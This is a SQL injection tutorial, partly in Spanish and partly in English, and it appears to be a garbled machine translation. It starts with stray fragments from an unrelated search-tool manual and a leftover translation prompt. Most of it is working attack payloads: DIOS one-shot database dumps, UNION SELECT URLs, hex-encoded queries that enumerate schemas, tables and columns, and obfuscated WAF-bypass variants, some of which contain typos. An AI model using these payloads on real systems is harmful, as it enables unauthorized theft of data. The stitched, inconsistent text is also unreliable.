--search-mode 'consola' Modo de búsqueda
--búsqueda Texto de búsqueda (por ejemplo, "hola mundo")
--debug Habilita el registro de depuración
Al igual que con la API de búsqueda, tomará la RUTA_BASE_INDEXADA de la estructura de directorios. Las banderas --archivo y --path-filter se pueden pasar como argumentos para filtrar de manera similar a como se hace a través de la API de búsqueda.```
(/!12345sELecT/(@)from(/!12345sELecT/(@:=0x00),(/!12345sELecT/(@)from(InFoRMAtiON_sCHeMa.ColUMNs)where(TAblE_sCHemA=DatAbAsE/data/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)
Please provide the Markdown content to translate.```
/*!00000concat*/(0x3c666f6e7420666163653d224963656c616e6422207374796c653d22636f6c6f723a7265643b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a6563746564206279204468346e692056757070616c61203c2f666f6e743e3c62723e3c666f6e7420636f6c6f723d70696e6b2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))
En este caso, el siguiente payload funcionó para mí (de todas las consultas UNION SELECT): http://domain.com/index.php?id=1' Union Select 1,2,3,4-- -
Debido a que la primera columna se reflejaba en el sitio web, tenemos que reemplazar el valor "1" en el payload con un payload DIOS.
El payload final definitivo será (elegí el primer payload DIOS):http://domain.com/index.php?id=1' Union Select concat/*!(0x223e,version(),(select(@)+from+(selecT(@:=0x00),(select(0)+from+(/*!information_Schema*/.columns)+where+(table_Schema=database())and(0x00)in(@:=concat/*!(@,0x3c62723e,table_name,0x3a3a,column_name))))x))*/,2,3,4-- -
If website does successfuly load, you will have all the database dumped in a nice format (DIOS does that).
In a traditional way of SQL Injection, you first have to dump database(), then tables(), then columns(), then data inside the columns. But you have to find the name of every table and columns.
http://domain.com/index.php?id=1' Union Select 1,2,3,4-- -
Because the 1st column was being reflected to the website, we have to replace the "1" value in the payload with database().http://domain.com/index.php?id=1' Union Select database(),2,3,4-- -

Convierte el nombre de la base de datos a 0xHEX: 0x6462313039
Ya que conocemos el nombre de la base de datos, vamos a volcar los nombres de las tablas usando este payload (usando group_concat() ):```sql (SELECT+GROUP_CONCAT(table_name+SEPARATOR)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x6462313039)
- Nuestro payload será: ```http://domain.com/index.php?id=1' Union Select (SELECT+GROUP_CONCAT(able_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x6462313039),2,3,4-- -```
He probado esta consulta y la mayoría de las veces es efectiva, pero hay algunos sitios web que, por alguna razón, no aceptan esta consulta, así que se me ocurrió la siguiente consulta para usar en caso de "emergencia":```sql
(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)
Si el WAF bloquea las 2 consultas mencionadas, intenta usar la siguiente consulta (bypass simple de WAF):```sql (/!%53ELECT/+/!50000GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)////!%46ROM////!INFORMATION_SCHEMA.TABLES////!%57HERE////!TABLE_SCHEMA///LIKE//DATABASE())

#### Recuperando columnas
Ahora todas las tablas han sido volcadas. Me centraré en el nombre de tabla **intranetdir**, vamos a volcar todas las columnas que tiene esta tabla.
- Convierte el nombre de la tabla a 0xHEX: **0x696e7472616e6574646972**
- Usaremos este payload group_concat() para volcar las columnas:```sql
(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x696e7472616e6574646972)
Alternativamente, también puedes usar la siguiente consulta (misma función, enfoque diferente):```sql (SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME=0x696e7472616e6574646972)AND(0x00)IN(@x:=concat(@x,CONCAT(LPAD(@NR:=@NR%2b1,2,0x30),0x3a20,column_name,0x3c62723e)))))x)
Donde **0x696e7472616e6574646972** es el 0xHEX del nombre de la tabla (**intranetdir**).
- La URL final con el Payload será:```http://domain.com/index.php?id=1' Union Select (SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x696e7472616e6574646972),2,3,4-- -```

If WAF blocks the mentioned 2 queries, try using the following query (simple WAF bypass where **0x696e7472616e6574646972** is **intranetdir** in 0xHEX format):
```sql
(/*!%53ELECT*/+/*!50000GROUP_CONCAT(column_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.COLUMNS*//**//*!%57HERE*//**//*!TABLE_NAME*//**/LIKE/**/0x696e7472616e6574646972)```
#### Retrieving the data inside the column
All the columns of the name named **intranetdir** are dumped. In this case I will dump the data inside **name** column. For our final payload, we need to use database's name in 0xHEX, table's name in 0xHEX and column's name in 0xHEX.
- database: **db109**
table: **intranetdir**
column: **name**
- You can use the following 3 queries to dump the data from the column **name**:
```sql
(SELECT+GROUP_CONCAT(name+SEPARATOR+0x3c62723e)+FROM+db109.intranetdir)```
```sql
(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(db109.intranetdir)WHERE(@x)IN(@x:=CONCAT(0x20,@x,name,0x3c62723e))))x)```
```sql
(SELECT+GROUP_CONCAT(0x3c62723e,name)+FROM (db109.intranetdir))```
- Let's use the first query (which I use the most). Assuming the 1st column is vulnerable, the final URL will be:
```sql
http://domain.com/index.php?id=1' Union Select (SELECT+GROUP_CONCAT(name+SEPARATOR+0x3c62723e)+FROM+db109.intranetdir),2,3,4-- -```
If the mentioned 3 queries are being blocked by WAF, consider using the following ones:
```sql
(/*!%53ELECT*/+/*!50000GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.TABLES*//**//*!%57HERE*//**//*!TABLE_SCHEMA*//**/LIKE/**/DATABASE())```
Note: **0x6e616d65** is **name** in 0xHEX format, convert it to your column name that you want to dump:
```sql
(/*!%53ELECT*/+/*!50000GROUP_CONCAT(column_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.COLUMNS*//**//*!%57HERE*//**//*!TABLE_NAME*//**/LIKE/**/0x6e616d65)```
```sql
(/*!%53ELECT*/(@x)FROM(/*!%53ELECT*/(@x:=0x00),(@NR:=0),(/*!%53ELECT*/(0)/*!%46ROM*/(/*!%49NFORMATION_%53CHEMA*/./*!%54ABLES*/)/*!%57HERE*/(/*!%54ABLE_%53CHEMA*//**/NOT/**/LIKE/**/0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=/*!CONCAT%0a(*/@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,/*!%74able_%6eame*/,0x3c62723e))))x)```
- Now we have dumped all the data inside **name** column.
http//domain.com/index.php?id=1'--%23foo*%2F*bar%0D%0A-http//domain.com/index.php?id=1'--#qa%0A#%0A-http//domain.com/index.php?id=/*!20000%0d%0a1'--+-*/http//domain.com/index.php?id=/*!blobblobblob%0d%0a1'--+-*/